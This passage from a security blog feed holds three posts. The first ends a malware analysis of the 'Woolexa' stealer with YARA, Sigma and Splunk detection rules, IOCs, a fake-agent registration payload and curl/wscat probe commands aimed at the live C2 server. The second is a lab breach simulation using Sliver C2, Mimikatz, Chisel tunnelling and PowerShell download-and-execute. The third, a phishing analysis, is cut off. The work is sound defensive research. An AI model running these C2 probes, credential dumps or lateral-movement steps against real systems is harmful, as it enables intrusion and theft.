  <li><strong>Task Name:</strong> <code class="language-plaintext highlighter-rouge">Microsoft\Windows\UpdateOrchestrator\USOHealthCheck</code></li>
  <li><strong>Trigger:</strong> <code class="language-plaintext highlighter-rouge">ONSTART</code> (system boot)</li>
  <li><strong>Privileges:</strong> Highest available (runs with full privileges)</li>
</ul>

<h3 id="93-payload-copy">9.3 Payload Copy</h3>

<p>Copies itself to <code class="language-plaintext highlighter-rouge">C:\ProgramData\Microsoft\Update\updatecheck.exe</code> with hidden and archive file attributes. This copy is skipped if the malware is already executing from a non-ephemeral (persistent) path.</p>

<h3 id="94-dll-proxy-injection">9.4 DLL Proxy Injection</h3>

<ul>
  <li>Uses <code class="language-plaintext highlighter-rouge">cryptbase.dll</code> as a proxy DLL to hijack cryptbase lookups in other processes</li>
  <li>Supports COM hijacking via <code class="language-plaintext highlighter-rouge">--com-hijack-install</code> and <code class="language-plaintext highlighter-rouge">--com-hijack-remove</code> CLI arguments</li>
</ul>

<hr />

<h2 id="10-privilege-escalation--uac-bypass">10. Privilege Escalation &amp; UAC Bypass</h2>

<table>
  <thead>
    <tr>
      <th>Technique</th>
      <th>Implementation</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>UAC Lowering</strong></td>
      <td>Sets <code class="language-plaintext highlighter-rouge">HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = 0</code> and <code class="language-plaintext highlighter-rouge">PromptOnSecureDesktop = 0</code></td>
    </tr>
    <tr>
      <td><strong>SeDebugPrivilege</strong></td>
      <td>Enables debug privilege to enable process injection into privileged processes</td>
    </tr>
    <tr>
      <td><strong>SYSTEM Impersonation</strong></td>
      <td>Opens and duplicates access tokens from <code class="language-plaintext highlighter-rouge">winlogon.exe</code>, <code class="language-plaintext highlighter-rouge">lsass.exe</code>, or <code class="language-plaintext highlighter-rouge">services.exe</code></td>
    </tr>
    <tr>
      <td><strong>UAC Prompt</strong></td>
      <td>Falls back to <code class="language-plaintext highlighter-rouge">runas</code> verb for administrative elevation</td>
    </tr>
    <tr>
      <td><strong>Memory Loading</strong></td>
      <td>The entire .NET assembly is loaded directly from memory via <code class="language-plaintext highlighter-rouge">ReflectiveClrHost.dll</code> - never touches disk</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="11-anti-forensics--evasion">11. Anti-Forensics &amp; Evasion</h2>

<ul>
  <li><strong>Logging:</strong> Operational logs written to <code class="language-plaintext highlighter-rouge">%TEMP%\BackendMinecraft.log</code> in Turkish</li>
  <li><strong>Cleanup:</strong> Removes temporary artifacts on completion (<code class="language-plaintext highlighter-rouge">woolexa_*</code>, <code class="language-plaintext highlighter-rouge">err_*.vbs</code>, <code class="language-plaintext highlighter-rouge">elevate_*.vbs</code>)</li>
  <li><strong>Memory-Only Execution:</strong> Full .NET assembly reflective loading via <code class="language-plaintext highlighter-rouge">ReflectiveClrHost.dll</code> leaves minimal disk forensic artifacts</li>
  <li><strong>Proxy Bypass:</strong> All network communication uses <code class="language-plaintext highlighter-rouge">UseProxy = false</code> to bypass system proxy settings, preventing inspection by enterprise proxy appliances</li>
  <li><strong>SSL Pinning Bypass:</strong> <code class="language-plaintext highlighter-rouge">WOOLEXA_ALLOW_INSECURE_SSL</code> environment variable disables certificate validation entirely</li>
  <li><strong>HeavyPacketBomb:</strong> Floods browser windows with messages before credential extraction to crash or confuse forensic tools that hook browser windows</li>
</ul>

<hr />

<h2 id="12-detection-opportunities">12. Detection Opportunities</h2>

<h3 id="121-yara-rule">12.1 YARA Rule</h3>

<pre><code class="language-yara">rule Woolexa_Stealer_Indicators {
    meta:
        author = "Threat Intelligence"
        description = "Detects Woolexa Stealer artifacts and behaviors"
        date = "2026-06-17"

    strings:
        $pdb = "reflective_clr_host.pdb" nocase
        $buildkey_mit = "mit" nocase
        $buildkey_woolexa = "yatowoolexa" nocase
        $ws_url = "bigscreenmod.com/agent-ws" nocase
        $backend_url = "bigscreenmod.com" nocase
        $steam_key = "440D7F4D810EF9298D25EDDF37C1F902"
        $env_prefix = "WOOLEXA_" nocase
        $config_backend = "BackendMinecraft" nocase
        $mod_id = "mcmod" nocase
        $log_path = "BackendMinecraft.log"

    condition:
        any of ($pdb, $buildkey_mit, $buildkey_woolexa, $ws_url,
                $backend_url, $steam_key, $config_backend, $mod_id)
        or 3 of ($env_prefix, $log_path, $buildkey_mit, $buildkey_woolexa)
}
</code></pre>

<h3 id="122-sigma-rule---wmi-persistence">12.2 Sigma Rule - WMI Persistence</h3>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">title</span><span class="pi">:</span> <span class="s">Woolexa Stealer WMI Persistence</span>
<span class="na">id</span><span class="pi">:</span> <span class="s">2a8f7c3b-9e1d-4f6a-bc5d-8e3f2a1c7b4d</span>
<span class="na">status</span><span class="pi">:</span> <span class="s">experimental</span>
<span class="na">description</span><span class="pi">:</span> <span class="s">Detects WMI event filter and consumer creation matching Woolexa persistence</span>
<span class="na">author</span><span class="pi">:</span> <span class="s">Threat Intelligence</span>
<span class="na">date</span><span class="pi">:</span> <span class="s">2026-06-17</span>
<span class="na">logsource</span><span class="pi">:</span>
    <span class="na">category</span><span class="pi">:</span> <span class="s">wmi_event</span>
    <span class="na">product</span><span class="pi">:</span> <span class="s">windows</span>
<span class="na">detection</span><span class="pi">:</span>
    <span class="na">selection_filter</span><span class="pi">:</span>
        <span class="na">EventID</span><span class="pi">:</span> <span class="m">19</span>
        <span class="na">FilterName</span><span class="pi">:</span> <span class="s1">'</span><span class="s">WindowsUpdateHealthCheck'</span>
    <span class="na">selection_consumer</span><span class="pi">:</span>
        <span class="na">EventID</span><span class="pi">:</span> <span class="m">20</span>
        <span class="na">ConsumerName</span><span class="pi">:</span> <span class="s1">'</span><span class="s">WindowsUpdateHealthConsumer'</span>
    <span class="na">selection_binding</span><span class="pi">:</span>
        <span class="na">EventID</span><span class="pi">:</span> <span class="m">21</span>
        <span class="na">FilterName</span><span class="pi">:</span> <span class="s1">'</span><span class="s">WindowsUpdateHealthCheck'</span>
    <span class="na">condition</span><span class="pi">:</span> <span class="s">any of selection_*</span>
<span class="na">falsepositives</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="s">Legitimate Windows Update health checks (rare)</span>
<span class="na">level</span><span class="pi">:</span> <span class="s">high</span>
</code></pre></div></div>

<h3 id="123-sigma-rule---scheduled-task">12.3 Sigma Rule - Scheduled Task</h3>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">title</span><span class="pi">:</span> <span class="s">Woolexa Scheduled Task Persistence</span>
<span class="na">id</span><span class="pi">:</span> <span class="s">3b9e8d4c-2f1a-4a6b-8c7d-1e2f3a4b5c6d</span>
<span class="na">status</span><span class="pi">:</span> <span class="s">experimental</span>
<span class="na">description</span><span class="pi">:</span> <span class="s">Detects Woolexa scheduled task creation</span>
<span class="na">author</span><span class="pi">:</span> <span class="s">Threat Intelligence</span>
<span class="na">date</span><span class="pi">:</span> <span class="s">2026-06-17</span>
<span class="na">logsource</span><span class="pi">:</span>
    <span class="na">category</span><span class="pi">:</span> <span class="s">process_creation</span>
    <span class="na">product</span><span class="pi">:</span> <span class="s">windows</span>
<span class="na">detection</span><span class="pi">:</span>
    <span class="na">selection</span><span class="pi">:</span>
        <span class="na">Image</span><span class="pi">:</span> <span class="s1">'</span><span class="s">schtasks.exe'</span>
        <span class="na">CommandLine</span><span class="pi">:</span> <span class="s1">'</span><span class="s">*Microsoft\Windows\UpdateOrchestrator\USOHealthCheck*'</span>
    <span class="na">condition</span><span class="pi">:</span> <span class="s">selection</span>
<span class="na">falsepositives</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="s">Legitimate Windows Update task recreation (rare)</span>
<span class="na">level</span><span class="pi">:</span> <span class="s">high</span>
</code></pre></div></div>

<h3 id="124-splunk--elk-query---network-ioc">12.4 Splunk / ELK Query - Network IOC</h3>

<pre><code class="language-splunk">index=network sourcetype=proxy
url=*.bigscreenmod.com* OR url=*/api/collect OR url=*/api/stream
| stats count by src_ip, url, user_agent
</code></pre>

<pre><code class="language-splunk">index=endpoint sourcetype=sysmon
(EventID=1 Image=*updatecheck.exe)
OR (EventID=19 "WindowsUpdateHealthCheck")
OR (CommandLine="*--com-hijack-install*")
| table _time, ComputerName, User, Image, CommandLine
</code></pre>

<h3 id="125-disk-forensic-artifact-paths">12.5 Disk Forensic Artifact Paths</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>%TEMP%\BackendMinecraft.log
%ProgramData%\Microsoft\Update\updatecheck.exe
%TEMP%\woolexa_*
%TEMP%\err_*.vbs
%TEMP%\elevate_*.vbs
</code></pre></div></div>

<hr />

<h2 id="13-c2-analysis--exploitation">13. C2 Analysis &amp; Exploitation</h2>

<h3 id="131-authentication-weakness">13.1 Authentication Weakness</h3>

<p>The C2 panel uses the <code class="language-plaintext highlighter-rouge">buildKey</code> as the <strong>sole authentication mechanism</strong> for all agent-facing endpoints. There is no IP allowlisting, no per-machine secret, no session tokens, and no cryptographic challenge. Every API endpoint and WebSocket control channel authenticates solely via the <code class="language-plaintext highlighter-rouge">X-Build-Key</code> HTTP header or a <code class="language-plaintext highlighter-rouge">buildKey</code> JSON field.</p>

<p>The two leaked build keys - <code class="language-plaintext highlighter-rouge">mit</code> and <code class="language-plaintext highlighter-rouge">yatowoolexa</code> - function as <strong>master keys to the entire C2 backend</strong>.</p>

<h3 id="132-endpoint-access-matrix">13.2 Endpoint Access Matrix</h3>

<table>
  <thead>
    <tr>
      <th>Endpoint</th>
      <th>Method</th>
      <th>Auth Method</th>
      <th>What an Attacker with the Build Key Can Do</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/agent-ws</code></td>
      <td>WebSocket</td>
      <td><code class="language-plaintext highlighter-rouge">buildKey</code> in <code class="language-plaintext highlighter-rouge">AGENT_REGISTER</code> JSON</td>
      <td>Register as fake agent, receive panel commands sent to victims</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/api/collect</code></td>
      <td>POST</td>
      <td><code class="language-plaintext highlighter-rouge">X-Build-Key</code> header</td>
      <td>Decrypt intercepted stolen data, poison C2 database</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/api/progress</code></td>
      <td>POST</td>
      <td><code class="language-plaintext highlighter-rouge">X-Build-Key</code> header</td>
      <td>Inject fake progress entries, potentially enumerate victims</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/api/stream</code></td>
      <td>POST</td>
      <td><code class="language-plaintext highlighter-rouge">X-Build-Key</code> header</td>
      <td>Receive JPEG screen captures, pollute streaming data</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/api/stealer/alert</code></td>
      <td>GET</td>
      <td><code class="language-plaintext highlighter-rouge">X-Build-Key</code> header</td>
      <td>Read panel-wide alerts configured by C2 operator</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/api/mic-ingest/*</code></td>
      <td>POST</td>
      <td><code class="language-plaintext highlighter-rouge">X-Build-Key</code> header</td>
      <td>Receive live microphone audio streams</td>
    </tr>
  </tbody>
</table>

<h3 id="133-websocket-agent-impersonation">13.3 WebSocket Agent Impersonation</h3>

<p>The most impactful attack vector is WebSocket agent registration. The malware authenticates by sending:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"event"</span><span class="p">:</span><span class="w"> </span><span class="s2">"AGENT_REGISTER"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"instanceId"</span><span class="p">:</span><span class="w"> </span><span class="s2">"&lt;any_guid&gt;"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"hostname"</span><span class="p">:</span><span class="w"> </span><span class="s2">"&lt;any&gt;"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"hwid"</span><span class="p">:</span><span class="w"> </span><span class="s2">"&lt;any&gt;"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"platform"</span><span class="p">:</span><span class="w"> </span><span class="s2">"windows"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"arch"</span><span class="p">:</span><span class="w"> </span><span class="s2">"x64"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"osRelease"</span><span class="p">:</span><span class="w"> </span><span class="s2">"&lt;any&gt;"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"version"</span><span class="p">:</span><span class="w"> </span><span class="s2">"vwolexa-cs"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"localIp"</span><span class="p">:</span><span class="w"> </span><span class="s2">"&lt;any&gt;"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"publicIp"</span><span class="p">:</span><span class="w"> </span><span class="s2">"&lt;any&gt;"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"cpuModel"</span><span class="p">:</span><span class="w"> </span><span class="s2">"&lt;any&gt;"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"ramGb"</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w">
  </span><span class="nl">"licenseKey"</span><span class="p">:</span><span class="w"> </span><span class="s2">"mit"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"buildKey"</span><span class="p">:</span><span class="w"> </span><span class="s2">"mit"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>A fake agent registered this way will:</p>
<ul>
  <li>Be accepted as a legitimate victim by the panel</li>
  <li>Receive <code class="language-plaintext highlighter-rouge">HEARTBEAT</code> acknowledgements every 7 seconds</li>
  <li>Receive any commands the panel broadcasts to active agents</li>
  <li>Appear in the panel’s active client list alongside real victims</li>
</ul>

<p><strong>Commands observable by a fake agent:</strong></p>

<table>
  <thead>
    <tr>
      <th>Command</th>
      <th>What It Reveals</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">KEYLOG_START</code> / <code class="language-plaintext highlighter-rouge">KEYLOG_STOP</code> / <code class="language-plaintext highlighter-rouge">KEYLOG_DUMP</code></td>
      <td>Panel is harvesting keystrokes from victims</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">MIC_START</code> / ingest path</td>
      <td>Panel is eavesdropping on victims’ microphones</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">EXEC_COMMAND</code></td>
      <td>Commands the panel is running on victims</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">LAUNCH_BROWSER</code></td>
      <td>Panel is initiating covert browsing sessions</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">FM_LIST</code> / <code class="language-plaintext highlighter-rouge">FM_READ</code> / <code class="language-plaintext highlighter-rouge">FM_DOWNLOAD</code></td>
      <td>Files the panel is exfiltrating from victims</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">CLIPBOARD_READ</code></td>
      <td>Panel is reading victims’ clipboard</td>
    </tr>
  </tbody>
</table>

<h3 id="134-data-decryption">13.4 Data Decryption</h3>

<p>Stolen data sent to <code class="language-plaintext highlighter-rouge">/api/collect</code> uses a build-key-derived encryption scheme:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>encryption_key = SHA-256(buildKey)
</code></pre></div></div>

<p>The encryption pipeline:</p>
<ol>
  <li>AES-256-CBC with a random IV (prepended to ciphertext)</li>
  <li>XOR-encrypted again with the raw build key</li>
</ol>

<p>Since both <code class="language-plaintext highlighter-rouge">mit</code> and <code class="language-plaintext highlighter-rouge">yatowoolexa</code> are known, any intercepted stolen data can be decrypted. This also enables test submissions to reverse-engineer the C2 database schema.</p>

<h3 id="135-direct-origin-access">13.5 Direct Origin Access</h3>

<p>The origin server at <code class="language-plaintext highlighter-rouge">130.12.242.204</code> (AS210558) is behind Cloudflare. However:</p>
<ul>
  <li>The malware hardcodes a fallback: if <code class="language-plaintext highlighter-rouge">WsUrl</code> is empty, it connects directly to <code class="language-plaintext highlighter-rouge">ws://{host}:3001</code></li>
  <li>Cloudflare only proxies standard web ports (80/443) by default</li>
  <li>Port 3001 likely bypasses Cloudflare entirely</li>
</ul>

<p>Probe commands:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wscat <span class="nt">-c</span> ws://130.12.242.204:3001
curl <span class="nt">-H</span> <span class="s2">"Host: bigscreenmod.com"</span> http://130.12.242.204/api/stealer/alert
curl <span class="nt">-k</span> https://130.12.242.204/api/stealer/alert
</code></pre></div></div>

<hr />

<h2 id="14-indicators-of-compromise-ioc">14. Indicators of Compromise (IOC)</h2>

<h3 id="141-network-iocs">14.1 Network IOCs</h3>

<table>
  <thead>
    <tr>
      <th>Type</th>
      <th>Value</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>C2 Domain</strong></td>
      <td><code class="language-plaintext highlighter-rouge">bigscreenmod.com</code></td>
    </tr>
    <tr>
      <td><strong>C2 WebSocket</strong></td>
      <td><code class="language-plaintext highlighter-rouge">wss://bigscreenmod.com/agent-ws</code></td>
    </tr>
    <tr>
      <td><strong>Collect Endpoint</strong></td>
      <td><code class="language-plaintext highlighter-rouge">https://bigscreenmod.com/api/collect</code></td>
    </tr>
    <tr>
      <td><strong>Stream Endpoint</strong></td>
      <td><code class="language-plaintext highlighter-rouge">https://bigscreenmod.com/api/stream</code></td>
    </tr>
    <tr>
      <td><strong>Progress Endpoint</strong></td>
      <td><code class="language-plaintext highlighter-rouge">https://bigscreenmod.com/api/progress</code></td>
    </tr>
    <tr>
      <td><strong>Mic Ingest</strong></td>
      <td><code class="language-plaintext highlighter-rouge">https://bigscreenmod.com/api/mic-ingest/</code></td>
    </tr>
    <tr>
      <td><strong>Origin IP</strong></td>
      <td><code class="language-plaintext highlighter-rouge">130.12.242.204</code></td>
    </tr>
    <tr>
      <td><strong>Cloudflare IPs</strong></td>
      <td><code class="language-plaintext highlighter-rouge">104.21.64.58</code>, <code class="language-plaintext highlighter-rouge">172.67.176.167</code></td>
    </tr>
  </tbody>
</table>

<h3 id="142-static-iocs">14.2 Static IOCs</h3>

<table>
  <thead>
    <tr>
      <th>Type</th>
      <th>Value</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Steam API Key</strong></td>
      <td><code class="language-plaintext highlighter-rouge">440D7F4D810EF9298D25EDDF37C1F902</code></td>
    </tr>
    <tr>
      <td><strong>Build Keys</strong></td>
      <td><code class="language-plaintext highlighter-rouge">yatowoolexa</code>, <code class="language-plaintext highlighter-rouge">mit</code></td>
    </tr>
    <tr>
      <td><strong>XOR Key</strong></td>
      <td><code class="language-plaintext highlighter-rouge">qweqwe1</code></td>
    </tr>
    <tr>
      <td><strong>AES Key Derivation</strong></td>
      <td>SHA-256(<code class="language-plaintext highlighter-rouge">"Shelcodeloader-embedded-key-v1"</code>)</td>
    </tr>
    <tr>
      <td><strong>AES IV</strong></td>
      <td><code class="language-plaintext highlighter-rouge">AB AE A1 61 0C 9B 23 AA 03 5B F1 42 34 63 9C 2A</code></td>
    </tr>
  </tbody>
</table>

<h3 id="143-host-iocs">14.3 Host IOCs</h3>

<table>
  <thead>
    <tr>
      <th>Type</th>
      <th>Value</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Scheduled Task</strong></td>
      <td><code class="language-plaintext highlighter-rouge">Microsoft\Windows\UpdateOrchestrator\USOHealthCheck</code></td>
    </tr>
    <tr>
      <td><strong>WMI Filter Name</strong></td>
      <td><code class="language-plaintext highlighter-rouge">WindowsUpdateHealthCheck</code></td>
    </tr>
    <tr>
      <td><strong>WMI Consumer Name</strong></td>
      <td><code class="language-plaintext highlighter-rouge">WindowsUpdateHealthConsumer</code></td>
    </tr>
    <tr>
      <td><strong>WMI Binding Name</strong></td>
      <td><code class="language-plaintext highlighter-rouge">WindowsUpdateHealthBinding</code></td>
    </tr>
    <tr>
      <td><strong>Disk Artifact</strong></td>
      <td><code class="language-plaintext highlighter-rouge">%ProgramData%\Microsoft\Update\updatecheck.exe</code></td>
    </tr>
    <tr>
      <td><strong>Log File</strong></td>
      <td><code class="language-plaintext highlighter-rouge">%TEMP%\BackendMinecraft.log</code></td>
    </tr>
    <tr>
      <td><strong>Temp Staging</strong></td>
      <td><code class="language-plaintext highlighter-rouge">%TEMP%\woolexa_*</code></td>
    </tr>
    <tr>
      <td><strong>VBS Artifacts</strong></td>
      <td><code class="language-plaintext highlighter-rouge">%TEMP%\err_*.vbs</code>, <code class="language-plaintext highlighter-rouge">%TEMP%\elevate_*.vbs</code></td>
    </tr>
  </tbody>
</table>

<h3 id="144-attacker-identity-iocs">14.4 Attacker Identity IOCs</h3>

<table>
  <thead>
    <tr>
      <th>Type</th>
      <th>Value</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Discord Username</strong></td>
      <td><code class="language-plaintext highlighter-rouge">bwnnyirl</code></td>
    </tr>
    <tr>
      <td><strong>Discord User ID</strong></td>
      <td><code class="language-plaintext highlighter-rouge">543708648233369610</code></td>
    </tr>
    <tr>
      <td><strong>Minecraft UUID</strong></td>
      <td><code class="language-plaintext highlighter-rouge">ac4b71bf-ca5a-4801-9654-829d67a9fc3b</code></td>
    </tr>
    <tr>
      <td><strong>Minecraft Username</strong></td>
      <td><code class="language-plaintext highlighter-rouge">dailussxd</code></td>
    </tr>
    <tr>
      <td><strong>Modpack Name</strong></td>
      <td><code class="language-plaintext highlighter-rouge">Minecraft Nightmare 1.0.0</code></td>
    </tr>
    <tr>
      <td><strong>Developer Machine</strong></td>
      <td><code class="language-plaintext highlighter-rouge">KUXEY</code></td>
    </tr>
    <tr>
      <td><strong>PDB Path</strong></td>
      <td><code class="language-plaintext highlighter-rouge">C:\Users\KUXEY\Desktop\shelcodeloader\NativeHost\x64\Release\reflective_clr_host.pdb</code></td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="15-attribution">15. Attribution</h2>

<p>The malware is attributed to a Turkish-speaking developer operating under the alias <code class="language-plaintext highlighter-rouge">KUXEY</code>. Attribution is supported by:</p>

<ul>
  <li><strong>Code comments in Turkish</strong> within the decompiled .NET assemblies</li>
  <li><strong>PDB path</strong> referencing <code class="language-plaintext highlighter-rouge">C:\Users\KUXEY\Desktop\shelcodeloader\</code></li>
  <li><strong>Discord account</strong> <code class="language-plaintext highlighter-rouge">shelcodeloader</code> (ID: <code class="language-plaintext highlighter-rouge">543708648233369610</code>) used for distribution</li>
  <li><strong>Minecraft account</strong> <code class="language-plaintext highlighter-rouge">dailussxd</code> (UUID: <code class="language-plaintext highlighter-rouge">ac4b71bf-ca5a-4801-9654-829d67a9fc3b</code>) linked to the same operator</li>
  <li>The hijacked Discord account used for distribution had 7 years of history, suggesting the attacker either compromised an established account or purchased access</li>
</ul>

<p>The multi-tenant build key system (<code class="language-plaintext highlighter-rouge">mit</code>, <code class="language-plaintext highlighter-rouge">yatowoolexa</code>) suggests <code class="language-plaintext highlighter-rouge">shelcodeloader</code> may operate as a malware builder vendor, selling access to the Woolexa C2 panel to multiple affiliates.</p>

<hr />

<h3 id="in-summary">In Summary</h3>

<p>The use of discord as a medium for spreading malware is widespread and common, Make sure to not download and execute any files especially if they are shared as Minecraft / Game mods or cheats.</p>]]></content><author><name>Fahad</name></author><summary type="html"><![CDATA[Executive Summary]]></summary></entry><entry><title type="html">Breach Simulation using SliverC2</title><link href="https://quantumcore.github.io/2026/05/23/breach-simulation.html" rel="alternate" type="text/html" title="Breach Simulation using SliverC2" /><published>2026-05-23T00:00:00+00:00</published><updated>2026-05-23T00:00:00+00:00</updated><id>https://quantumcore.github.io/2026/05/23/breach-simulation</id><content type="html" xml:base="https://quantumcore.github.io/2026/05/23/breach-simulation.html"><![CDATA[<h1 id="breach-simulation-lateral-movement-using-sliver-c2">Breach Simulation: Lateral Movement using Sliver C2</h1>

<p>This was designed to be tested against a certain security product, I focused on post-exploitation flow using Sliver C2 to demonstrate how initial access can be expanded into internal lateral movement inside a segmented environment. All testing was conducted in a testing active directory environment built especially for this.</p>

<hr />

<h2 id="command--control">Command &amp; Control</h2>

<p>After the initial payload execution, the compromised host established a reverse TCP connection back to my external C2 server. From there, We have an interactive session and full control over the endpoint.</p>

<p><img src="https://raw.githubusercontent.com/quantumcore/quantumcore.github.io/refs/heads/master/assets/images/untitled-3_20260106192613371.png" alt="" /></p>

<hr />

<h2 id="credential-access">Credential Access</h2>

<p>Once I had a stable session, I moved into credential harvesting. I used Mimikatz to extract NTLM hashes and Kerberos tickets directly from LSASS.</p>

<p><img src="https://raw.githubusercontent.com/quantumcore/quantumcore.github.io/refs/heads/master/assets/images/untitled-3_20260106192657651.png" alt="" /></p>

<hr />

<h2 id="pivoting-via-tunnel">Pivoting via Tunnel</h2>

<p>To reach internal systems that were not directly exposed, I set up a Chisel tunnel from my attack machine.</p>

<p>Server was running externally</p>

<p><img src="https://raw.githubusercontent.com/quantumcore/quantumcore.github.io/refs/heads/master/assets/images/untitled-3_20260106192830952.png" alt="" /></p>

<p>On the compromised host (<code class="language-plaintext highlighter-rouge">socenv</code>), I ran the Chisel client to create a reverse SOCKS5 tunnel back through the C2 channel. This effectively places my tooling inside the internal network.</p>

<p><img src="https://raw.githubusercontent.com/quantumcore/quantumcore.github.io/refs/heads/master/assets/images/untitled-3_20260106192806563.png" alt="" /></p>

<hr />

<h2 id="internal-reconnaissance">Internal Reconnaissance</h2>

<p>Through the tunnel, I ran internal discovery using <code class="language-plaintext highlighter-rouge">netexec</code>. The focus was on identifying live hosts, open SMB services, and reachable systems across the subnet.</p>

<p>Mapping potential lateral movement targets, Going further into the network.</p>

<p><img src="https://raw.githubusercontent.com/quantumcore/quantumcore.github.io/refs/heads/master/assets/images/untitled-3_20260106193323747.png" alt="" /></p>

<hr />

<h2 id="lateral-movement">Lateral Movement</h2>

<p>With valid domain credentials already extracted, I targeted an internal system at <code class="language-plaintext highlighter-rouge">10.2.13.214</code>.</p>

<p>Using <code class="language-plaintext highlighter-rouge">netexec</code> authenticated over SMB and executed a remote command to verify access before deploying the payload.</p>

<p><img src="https://raw.githubusercontent.com/quantumcore/quantumcore.github.io/refs/heads/master/assets/images/untitled-3_20260106192911511.png" alt="" /></p>

<p>From there, I delivered the backdoor using a PowerShell download-and-execute.</p>

<p><img src="https://raw.githubusercontent.com/quantumcore/quantumcore.github.io/refs/heads/master/assets/images/untitled-3_20260106193018793.png" alt="" /></p>

<hr />

<h2 id="second-foothold">Second Foothold</h2>

<p>The payload executed successfully on <code class="language-plaintext highlighter-rouge">10.2.13.214</code>, and a new C2 session was established.</p>

<p>At this point, We have a second independent foothold inside the network, separate from the initial host.</p>

<p><img src="https://raw.githubusercontent.com/quantumcore/quantumcore.github.io/refs/heads/master/assets/images/untitled-3_20260106193104626.png" alt="" /></p>

<hr />

<h2 id="credential-expansion">Credential Expansion</h2>

<p>On the newly compromised machine, I repeated credential extraction using Mimikatz.</p>

<p><img src="https://raw.githubusercontent.com/quantumcore/quantumcore.github.io/refs/heads/master/assets/images/untitled-3_20260106193152884.png" alt="" /></p>

<hr />

<p>Successful lateral propagation across the environment.</p>]]></content><author><name>Fahad</name></author><summary type="html"><![CDATA[Breach Simulation: Lateral Movement using Sliver C2]]></summary></entry><entry><title type="html">Mail Delivery Subsystem Phishing Analysis</title><link href="https://quantumcore.github.io/2026/05/06/mail-delivery-subsystem-phishing.html" rel="alternate" type="text/html" title="Mail Delivery Subsystem Phishing Analysis" /><published>2026-05-06T00:00:00+00:00</published><updated>2026-05-06T00:00:00+00:00</updated><id>https://quantumcore.github.io/2026/05/06/mail-delivery-subsystem-phishing</id><content type="html" xml:base="https://quantumcore.github.io/2026/05/06/mail-delivery-subsystem-phishing.html"><![CDATA[<p>Received a message indicating that the mail delivery subsystem had failed to send three emails. It immediately stood out as suspicious.</p>

<p><img src="https://raw.githubusercontent.com/quantumcore/quantumcore.github.io/refs/heads/master/_posts/phishmail1.png" alt="1" /></p>

<p>Link takes to https://red-blondell-19.tiiny.site/
The page mimicks a standard authentication portal. It included a login form requesting an email address and password.
<img src="https://raw.githubusercontent.com/quantumcore/quantumcore.github.io/refs/heads/master/_posts/phishmail2.png" alt="2" /></p>

<p>Interesting Page Source code:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;html&gt;&lt;head&gt;&lt;title</span> <span class="na">data-id=</span><span class="s">"th-modified"</span><span class="nt">&gt;</span>Web Page<span class="nt">&lt;/title&gt;&lt;meta</span> <span class="na">property=</span><span class="s">"og:title"</span> <span class="na">content=</span><span class="s">"Web Page"</span> <span class="na">data-id=</span><span class="s">"th-modified"</span> <span class="nt">&gt;&lt;meta</span> <span class="na">name=</span><span class="s">"description"</span> <span class="na">content=</span><span class="s">"Notification"</span> <span class="na">data-id=</span><span class="s">"th-modified"</span> <span class="nt">&gt;&lt;meta</span> <span class="na">property=</span><span class="s">"og:description"</span> <span class="na">content=</span><span class="s">"Notification"</span> <span class="na">data-id=</span><span class="s">"th-modified"</span> <span class="nt">&gt;&lt;meta</span> <span class="na">property=</span><span class="s">"og:image"</span> <span class="na">content=</span><span class="s">"https://tiiny.host/assets/logo-purple-bg.png"</span> <span class="na">data-id=</span><span class="s">"th-modified"</span> <span class="nt">&gt;&lt;meta</span> <span class="na">property=</span><span class="s">"og:image:width"</span> <span class="na">content=</span><span class="s">"1501"</span> <span class="na">data-id=</span><span class="s">"th-modified"</span> <span class="nt">&gt;&lt;meta</span> <span class="na">property=</span><span class="s">"og:image:height"</span> <span class="na">content=</span><span class="s">"1501"</span> <span class="na">data-id=</span><span class="s">"th-modified"</span> <span 